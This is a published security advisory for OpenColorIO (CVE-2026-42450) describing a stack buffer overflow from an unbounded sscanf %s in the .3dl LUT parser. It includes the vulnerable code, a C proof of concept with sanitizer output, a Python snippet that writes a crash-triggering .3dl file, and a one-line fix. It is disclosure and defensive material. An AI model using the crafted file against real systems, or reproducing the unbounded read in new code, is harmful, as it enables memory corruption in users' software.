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Stack buffer overflow via unbounded `sscanf %s` in Discreet 1DL (.lut) LUT parser

High
doug-walker published GHSA-fgx7-35rr-5mx2 May 13, 2026

Package

OpenColorIO

Affected versions

<= 2.5.1

Patched versions

2.5.2

Description

Stack buffer overflow via unbounded sscanf %s in Discreet 1DL (.3dl) LUT parser

Summary

FileFormatDiscreet1DL.cpp:416 uses sscanf with %s into a 16-byte stack buffer without width limit. A crafted .3dl file with a long third token overflows dstDepthS[16] by up to 184 bytes, corrupting the stack.

Details

In IMLutTableFromFile, line 412-416:

char dstDepthS[16] = "";
#ifdef _WIN32
const int nummatched = sscanf(InString, "%*s %d %d %s", &numtables, &length, dstDepthS, 16);
#else
const int nummatched = sscanf(InString, "%*s %d %d %s", &numtables, &length, dstDepthS);
#endif

On non-Windows, %s writes without any limit into the 16-byte buffer. On Windows, the extra 16 argument is passed to sscanf (not sscanf_s), so it's ignored — vulnerable on all platforms.

InString is read from the file and can be up to 200 bytes. The third token (dstDepthS) gets whatever follows the two integers, with no width constraint.

PoC

Standalone reproduction (confirmed with ASAN):

#include <stdio.h>
#include <string.h>

int main(void) {
    char InString[200];
    int numtables, length;
    char dstDepthS[16] = "";
    snprintf(InString, 200, "LUT: 3 256 %s",
             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
             "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    sscanf(InString, "%*s %d %d %s", &numtables, &length, dstDepthS);
    return 0;
}
$ gcc -fsanitize=address -g -o poc poc.c && ./poc
==18210==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7486b4b00060
WRITE of size 183 at 0x7486b4b00060 thread T0
    #0 in scanf_common
    #1 in __isoc99_sscanf
    #2 in main /tmp/test_sscanf.c:16

To trigger via ociochecklut:

python3 -c "
line = 'LUT: 3 256 ' + 'A' * 200
with open('crash.3dl', 'w') as f:
    f.write(line + '\n')
    for i in range(256):
        f.write(f'{i} {i} {i}\n')
"
ociochecklut crash.3dl

Impact

Stack buffer overflow when parsing a crafted .3dl LUT file. Attacker-controlled data overwrites up to 184 bytes on the stack past the 16-byte buffer. Reachable by opening any .3dl file through the OCIO API or CLI tools.

Suggested fix

// Change %s to %15s:
const int nummatched = sscanf(InString, "%*s %d %d %15s", &numtables, &length, dstDepthS);

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-42450

Weaknesses

Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer. Learn more on MITRE.

Credits